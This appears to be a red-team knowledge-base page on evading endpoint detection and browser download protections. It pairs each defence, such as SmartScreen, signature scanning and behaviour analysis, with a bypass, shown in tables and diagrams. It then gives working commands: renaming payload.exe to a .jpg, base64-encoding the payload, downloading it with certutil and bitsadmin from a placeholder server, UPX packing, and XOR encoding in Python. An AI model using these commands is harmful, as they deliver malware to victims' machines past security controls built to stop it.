1. Download Prevention & Bypass Techniques

1. How EDR Prevents Downloads & Bypass Methods

Prevention Mechanism	Detection Method	Bypass Technique
Browser Blocking	Flags suspicious downloads in Chrome, Edge	Change file extension, Use HTTPS
Windows Defender SmartScreen	Blocks unsigned or unknown executables	Digitally sign the file, Modify file metadata
EDR Network Filtering	Detects downloads from untrusted URLs	Use VPN, proxy, or trusted cloud storage
File Hash or Signature Scanning	Compares downloaded files to known malware hashes	Modify binary structure, Use packing or obfuscation
Process Behavior Analysis	Detects suspicious file execution behavior	Use LOLBins like certutil or bitsadmin

2. Mermaid Diagram: Download Prevention & Evasion

graph TD
    A[User Attempts to Download File] -->|Browser Security SmartScreen SafeBrowsing| B[Blocked by Browser]
    A -->|EDR Network Filtering| C[Blocked by Firewall or EDR]
    A -->|Windows Defender Scanning| D[Blocked by Signature Detection]
    A -->|Process Behavior Analysis| E[Blocked by AMSI]

    B -->|Use HTTPS Rename File| F[Bypass Browser Security]
    C -->|Use VPN or Proxy| G[Bypass Firewall or EDR]
    D -->|Modify Binary Signature| H[Bypass Signature Detection]
    E -->|Encode Payload Use LOLBins| I[Bypass AMSI]

3. Table: Bypass Methods for Each Prevention Mechanism

Prevention Mechanism	Bypass Method	Example Command or Technique
Browser Blocking	Use HTTPS and rename file	Rename `payload.exe` to `image.jpg`
Windows Defender SmartScreen	Digitally sign the file	Sign the file using `signtool.exe`
EDR Network Filtering	Use a trusted cloud storage	Upload to Google Drive or Dropbox
File Hash or Signature Scanning	Modify binary structure	Pack with UPX, encrypt sections, XOR encoding
Process Behavior Analysis	Use LOLBins for downloading payloads	`certutil -urlcache -split -f http://server/payload.exe`

4. Mermaid Diagram: Bypass Workflow

graph TD
    A[Download Attempt] -->|Blocked by Browser| B[Use HTTPS Rename File]
    A -->|Blocked by EDR Firewall| C[Use VPN or Proxy]
    A -->|Blocked by Signature Check| D[Modify Binary Signature]
    A -->|Blocked by Process Behavior Analysis| E[Use LOLBins]
    
    B -->|Rename to .jpg .log .txt| F[Bypass Browser Security]
    C -->|Use Cloud Storage| G[Bypass Firewall]
    D -->|Pack Encrypt Obfuscate| H[Bypass Signature Detection]
    E -->|Use certutil bitsadmin| I[Bypass AMSI and Process Monitoring]

5. Practical Commands for Bypassing Download Prevention

Attackers use Windows-native binaries (LOLBins) and encoding techniques to evade detection.

1. Rename File Extensions

Some browsers block .exe files but allow .jpg or .txt:

mv payload.exe image.jpg

2. Base64 Encode the Payload

Encode before transfer:

base64 payload.exe > payload.b64

Decode on the target:

cat payload.b64 | base64 -d > extracted.exe

3. Use CertUtil for Download

https://lolbas-project.github.io/#
CertUtil is a built-in Windows tool that can download and decode files:

certutil -urlcache -split -f http://yourserver/payload.exe payload.exe

4. Use Bitsadmin for Stealthy Download

Bitsadmin uses Microsoft’s Background Intelligent Transfer Service (BITS), often trusted by EDR:

bitsadmin /transfer myJob http://yourserver/payload.exe C:\Users\Public\payload.exe

5. Obfuscate the Payload

Attackers often modify binary structures to avoid hash-based detections:

Packing with UPX:
Attack Computer/Attack Windows/3. EDR Evasion/1e. Advanced UPX Methods for Modifying Binary Structure

  upx-ucl -9 payload.exe

XOR Encoding:

Attack Computer/Attack Windows/3. EDR Evasion/1a. AES, RC4, XOR encryption

key = 0x55
encoded = bytes([b ^ key for b in open('payload.exe', 'rb').read()])
open('encoded.bin', 'wb').write(encoded)